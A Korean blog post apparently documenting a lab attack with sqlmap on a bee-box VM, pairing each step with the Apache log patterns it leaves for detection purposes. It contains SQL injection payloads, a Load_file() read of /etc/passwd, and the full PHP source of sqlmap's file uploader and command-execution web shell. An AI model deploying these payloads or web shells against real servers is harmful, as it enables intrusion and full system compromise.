#INTO OUTFILE 명령으로 SQL Injection 취약점이 있는곳에 웹쉘을 업로드해서 시스템 해킹이 가능
이번 포스팅에서는 SQLMAP을 통해서 해당 공격시나리오로 공격을 하고 행위별로 어떤 로그들이 남는지를 기록
공격환경 : Linux kali 5.2.0-kali2-amd64 (192.168.131.139)
대상환경 : Linux bee-box 2.6.24-16-generic(192.168.131.141 )
Beebox 웹 로그 경로 : /var/log/apache2/access.log 단계별로 계속 공격을 진행하며 로그를 확인하는데 행위별 구분을 위해서 cat /dev/null > access.log 명령어로 로그를 계속 지워주겠음 |
SQL Injection 취약점 페이지
쿠키값에 들어가는건 버프로 잡아서 보면됩니다.
SQLMAP에서 URL 옵션만 주면 취약점을 찾기 위해서 여러가지 문자열을 대입하는데
SQLMAP에선 이런 패턴들이 확인된다.
Boolean Injection 로그 패턴들
192.168.109.44 [02/Apr/2018:16:46:53 +0900]"GET /wordpress/test_action.php?s=-9313%25%22%29%29%29%20OR%207122%3D7143%23 200
192.168.109.44 [02/Apr/2018:16:46:54 +0900]"GET /wordpress/test_action.php?s=-6786%25%22%29%29%29%20OR%206127%3D6127%23 200
192.168.109.44 [02/Apr/2018:16:46:55 +0900]"GET /wordpress/test_action.php?s=-3854%25%22%20OR%205032%3D2125%23 200
192.168.109.44 [02/Apr/2018:16:46:56 +0900]"GET /wordpress/test_action.php?s=-8271%25%22%20OR%206127%3D6127%23 200
192.168.109.44 [02/Apr/2018:16:46:57 +0900]"GET /wordpress/test_action.php?s=-8839%20OR%208112%3D8917%23 200
192.168.109.44 [02/Apr/2018:16:46:58 +0900]"GET /wordpress/test_action.php?s=-8289%20OR%206127%3D6127%23 200
192.168.109.44 [02/Apr/2018:16:46:59 +0900]"GET /wordpress/test_action.php?s=-1088%20OR%207422%3D7650%23 200
192.168.109.44 [02/Apr/2018:16:47:00 +0900]"GET /wordpress/test_action.php?s=-7592%20OR%206127%3D6127%23 200
앞에 음수로 시작되는게 시그니처..? sqlmap 인거 같음(개인적인 생각)
Time-base Injection 로그 패턴들
192.168.109.44 [02/Apr/2018:16:47:37 +0900]"GET /wordpress/test_action.php?s=asd%27%20AND%20SLEEP%285%29--%20GQaO 200
192.168.109.44 [02/Apr/2018:16:47:38 +0900]"GET /wordpress/test_action.php?s=asd%27%20AND%20SLEEP%280%29--%20GQaO 200
192.168.109.44 [02/Apr/2018:16:47:39 +0900]"GET /wordpress/test_action.php?s=asd%27%20AND%20SLEEP%285%29--%20GQaO 200
192.168.109.44 [02/Apr/2018:16:48:10 +0900]"GET /wordpress/test_action.php?s=asd%27%20OR%20SLEEP%280%29--%20xAht 200
이건 beebox 환경 데이터는 아닌데... 중요한건 Sleep 이란 문구가 붙는다는것.
Load_file() 이용
Load_file을 이용하는 이유는 INTO OUTFILE과 관련이 있는데, INTO OUTFILE을 하기 위해서는 MYSQL 사용자가
해당 디렉토리에 쓰기 권한이 있어야 한다. 이러한 권한들을 확인하기 위해서 Load_file()로 /etc/passwd를 보거나
계정정보, 비밀번호 해쉬값같은 부분들 확인할수 있다.
이 방법 뿐만 아니라 SQL 문으로도 확인이 가능한데 mysql.user 컬럼에서 user를 조회하고 권한을 확인할수도 있다.,
--os-shell 은 mysql의 INTO OUTFILE 명령을 사용해서 대상서버에 웹쉘을 올리는건데, 이 명령을 사용하기 위해서는
공격자가 웹쉘을 만들 경로에 mysql이 쓰기 권한이 있어야 한다. 그래서 chgrp -R 옵션을 사용해서 /var/www/bWAPP
디렉토리에 mysql로 쓰기 권한을 주었다.
SQLMAP --OS-shell 실행화면
192.168.131.139 - - [10/Dec/2019:06:32:40 +0100] "GET /bWAPP/tmpbwgmz.php?cmd=echo%20command%20execution%20test HTTP/1.1" 200 99 "-" "sqlmap/1.3.12.1#dev (http://sqlmap.org)"
192.168.131.139 - - [10/Dec/2019:06:32:55 +0100] "GET /bWAPP/tmpbwgmz.php?cmd=ls%20-al HTTP/1.1" 200 13266 "-" "sqlmap/1.3.12.1#dev (http://sqlmap.org)"
192.168.131.139 - - [10/Dec/2019:06:40:08 +0100] "GET /bWAPP/tmpbwgmz.php?cmd=hostname HTTP/1.1" 200 84 "-" "sqlmap/1.3.12.1#dev (http://sqlmap.org)"
192.168.131.139 - - [10/Dec/2019:06:40:20 +0100] "GET /bWAPP/tmpbwgmz.php?cmd=netstat%20-nlpt HTTP/1.1" 200 2378 "-" "sqlmap/1.3.12.1#dev (http://sqlmap.org)"
--os -shell 명령이 수행되면 위와 같은 로그패턴들이 access.log에 남는다.
그리고 이런 웹쉘 네이밍에 대한 패턴도 sqlmap에선 가지고 있는거같다 그리고 비박스 로그에선 업로드한 파일의 헥스값이 남진 않았는데..
(아마 비박스에 로그남기는 패턴이 있는듯 하다.)
tmpbwgmz.php
tmpuylcm.php
tmpubwwd.php
tmpuzcfx.php
이 php 파일들의 코드를 보면 두가지로 나뉘는데
파일 업로드 취약점이 있는 페이지와 command를 보낼 수 있는 웹쉘 페이지로 나뉘는것 같았다.
SQLMAP에서 만든 파일 업로드 취약점이 있는 페이지 소스코드
<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/bWAPP/> <input type=submit name=upload value=upload></form>";}?>
SQLMAP에서 만든 웹쉘 페이지 소스코드
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
결론은 SQL Injection 취약점이 있는 URL에 SQLMAP으로 공격을 하고
데이터베이스 정보 중 mysql 계정의 권한이 디렉토리에 쓰기 권한이 있다면
위처럼 INTO OUTFILE로 공격이 가능한데, 공격할 때 이런 정보들이 남는다.
참고
'Web Hacking > SQL Injection' 카테고리의 다른 글
HTML URL Encoding Reference (HTML URL 인코딩 참조) (0) | 2020.10.24 |
---|